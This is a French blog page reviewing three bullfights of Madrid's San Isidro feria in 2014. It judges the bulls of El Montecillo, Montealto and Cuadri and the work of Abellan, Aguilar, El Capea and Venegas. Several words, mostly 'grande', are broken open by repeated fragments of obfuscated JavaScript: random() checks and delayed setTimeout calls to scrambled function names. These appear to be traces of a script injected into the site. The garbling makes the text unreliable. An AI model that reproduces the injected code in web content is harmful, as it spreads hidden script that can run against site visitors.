SAN ISIDRO 2014. DU 30 MAI AU 2 JUIN.

San Isidro 2014. 30 Mai. La caste de l’encaste Domecq

L’aficion abrite des lieux-communs. Ils appellent ça un « sceau ». Se référant au taureau, à celui qui charge ils ne disent pas qu’il est brave mais commercial, et au manso qui se défend, ils le masquent en disant encasté.

La corrida de El Montesillo, pure origine Juan Pedro, fut, après celle de Parladé, c’est-a-dire Juan Pedro, la plus encastée de la féria. Mais il y a des nuances à cela. Le premier eût été plus brave qu’encasté si on ne l’avait pas laissé cru à la suerte des  piques et si Abellan ne l’avait pas toréé là où le vent soufflait le plus. Le second, encasté, déborda Ureña, parce qu’il ne fut pas suffisamment piqué et le murcien manqua de temple. Le troisième fut littéralement un cabrón, un salaud. Le quatrième était un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and taureau, et le picador Iturralde le bichonna, mais Ureña ne sut pas s’accoupler. Le cinquième, un manso avec de mauvaises intentions, mais que Abellan obligea à se soumettre. Et le sixième , un autre manso avec une violence concentrée.

Sur une telle base, Abellan offrit une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande performance. Heroïque  et torera.  A porta gayola il effectua deux longues passes qu’il couronna avec une autre à genoux. Il torea ensuite très bien avec la cape et réalisa deux bonnes faenas, en lutte contre le vent à son premier et contre les mauvaises idées de son second. S’il eût tué du premier coup il serait sorti par la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande. Paco Ureña n’etait pas dans un bon jour et Joselito Adame n’eut pas de chance.

Si les « domecq » de El Montecillo eussent été des « santacolomas » ou des « saltillos », les toristes auraient sablé le champagne.

Note : Les drapeaux de l’arène indiquèrent durant toute la corrida que la direction du vent était nordest-sudouest, c’est pourquoi on aurait dû toréer en bas des gradins 4-5. Personne ne s’en apercevait, ni les cuadrillas, ni les apoderados ? Quelle équipe.

San Isidro 2014. 1er juin. Alberto Aguilar vainquit le taureau et les circonstances

 Malchance. Le premier taureau chargeait avec classe mais se cassa une corne. Ils l’echangèrent pour un exemplaire, mauvais, de Julio de la Puerta.

Le second, un bon taureau, se détérioria pour s’être trop dépensé avec le cheval. Le troisième fut trop piqué. Le quatrième, de Julio de la Puerta, n’était pas du gâteau. Alberto Aguilar bonifia un cinquième incertain. Et le sixième, de El Ventorrillo, fut une drôle de bestiole qui sentait le chloroforme. Oui, malchance pour l’éleveur de Montealto, qui ne put que lidier quatre taureaux dont les formes et le comportement laissaient présumer un  tout autre résultat.

El Capea fut très bien. C’est-à-dire, au-dessus de ses deux opposants. Si son labeur ne fut pas apprécié par ceux du dimanche il faut en imputer la faute à ceux du 7, qui le boycottèrent avec préméditation. A Sebastien Ritter la chance lui tourna le dos aussi. Son premier, noble, resta paralysé après les piques et son second était impossible à toréer. Celui qui triompha fut Alberto Aguilar, très courageux avec son premier et très torero avec son deuxième, un taureau dont personne n’avait vu les qualités et avec lequel il fit une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena , avec des muletazos liés et profonds, de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande classe. Il vainquit le taureau et aussi une ambiance raréfiée à ce moment de la corrida. Il tua du premier coup et reçut une oreille. Il en méritait deux.

San Isidro 2014. 2 juin. Gayumbada intolérable de Cuadri

Quelques taureaux furent dans la ligne des 600 kilos, le reste les dépassa. C’est-à-dire faits pour le bonheur des toristes. Ils furent moins heureux avec les cornes, sérieuses mais pas démesurées. Et ils les protestèrent. Aux piques, ils se laissèrent faire dans le meilleur des cas, et dans le pire ils détournèrent la tête. Et comme tous avaient de la force, l’un d’eux renversa le cheval. Heureusement que à mi-distance ils ne voulaient rien savoir des chevaux, sinon ils les auraient tous renversés. A la muleta, deux bougèrent,  en passant la tête haute, sans désirer attraper le leurre. Et les plus nombreux sortaient de la suerte en regardant distraitement les gradins. Sapristi, quelle caste !

En définitive, un désastre pour l’élevage : faire dépendre le trapío du volume et des kilos est une mauvaise chose. Un désastre pour l’impresario :

passer l’octroi de la reconnaissance vétérinaire ne doit pas être le prix à payer pour ennuyer vingt-mille personnes. Un défi aux journalistes : refuser une telle planification d’une corrida de taureaux. Et une exemption pour les toreros, qui lidièrent un danger que les gens ne virent que lorsque le sixième encorna le récent confirmé José Carlos Venegas. Celui-ci sortit bien de l’épreuve, quoique blessé. Car le courage uni à l’innocence fait partie du toréo aussi, et  Venegas toréa ses deux dangereuses bestioles comme si de rien n’était ... Bravo pour les toreros courageux.

Les commentaires sont fermés.